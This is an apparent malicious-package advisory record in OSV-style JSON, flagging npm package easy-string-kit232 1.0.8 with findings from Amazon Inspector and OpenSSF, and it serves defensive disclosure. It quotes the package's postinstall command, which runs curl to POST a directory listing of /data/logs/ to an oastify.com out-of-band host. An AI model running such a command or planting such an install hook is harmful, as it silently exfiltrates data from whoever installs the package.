easy-string-kit232

{"modified":"2026-06-25T16:25:25Z","published":"2026-06-25T10:11:09Z","schema_version":"1.7.4","id":"MAL-2026-6461","summary":"Malicious code in easy-string-kit232 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (9c3f74b6873c47dc8f3a6d6922e9d66d17cafe47b7a80447f45bfe0d1535a6b5)\npackage.json declares a postinstall lifecycle script that auto-executes on `npm install` and runs `curl -X POST -d \"$(ls -la /data/logs/)\" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data`. This shells out at install time, captures a directory listing of `/data/logs/` on the installer's host, and POSTs the output over plaintext HTTP to a Burp Suite Collaborator (oastify.com) out-of-band subdomain controlled by whoever generated that Collaborator instance. The package advertises itself as a string-utility kit, which has no need to enumerate host filesystem contents or contact a remote OAST endpoint. Author, repository, bugs, and homepage metadata are all empty, consistent with a throwaway publish purpose-built for the exfil payload rather than a maintained utility.\n\n## Source: ossf-package-analysis (a16e7a0f092a57588a7267c8acbe881b0f465581afb34aedb671eecd1de3ad9f)\nThe OpenSSF Package Analysis project identified 'easy-string-kit232' @ 1.0.8 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n\n- The package executes one or more commands associated with malicious behavior.\n","affected":[{"package":{"ecosystem":"npm","name":"easy-string-kit232"},"versions":["1.0.8"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"d620b21f3678bfe609c1d0e8a95b9ecc7c3697330a1258a4cc472541d984ef43","tlsh":"6201cb28c2245d3319c95a30b99a0643b0126e5b09143c1877c3802c0fbf76b90fe22d"}],"package_integrity":[{"filename":"easy-string-kit232-1.0.8.tgz","hashes":{"sha1":"9f1cc7531085c565b7e35417605864605aa69343","sha512_sri":"sha512-4gBHPggFcG+JZBo6AwgBQ/aUTuEIhmR30oIh+K9olPUGiyxStPdPxmChbp1EAJYFbeCkepvQkhNvBWOBWeU/+g=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/easy-string-kit232/v/1.0.8"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]},{"name":"OpenSSF: Package Analysis","type":"FINDER","contact":["https://github.com/ossf/package-analysis","https://openssf.slack.com/channels/package_analysis"]}],"database_specific":{"malicious-packages-origins":[{"source":"ossf-package-analysis","sha256":"a16e7a0f092a57588a7267c8acbe881b0f465581afb34aedb671eecd1de3ad9f","import_time":"2026-06-25T10:28:39.861856552Z","modified_time":"2026-06-25T10:11:09Z","versions":["1.0.8"]},{"source":"amazon-inspector","sha256":"9c3f74b6873c47dc8f3a6d6922e9d66d17cafe47b7a80447f45bfe0d1535a6b5","import_time":"2026-06-25T16:23:40.154378041Z","id":"IN-MAL-2026-007516","modified_time":"2026-06-25T16:10:31Z","versions":["1.0.8"]}]}}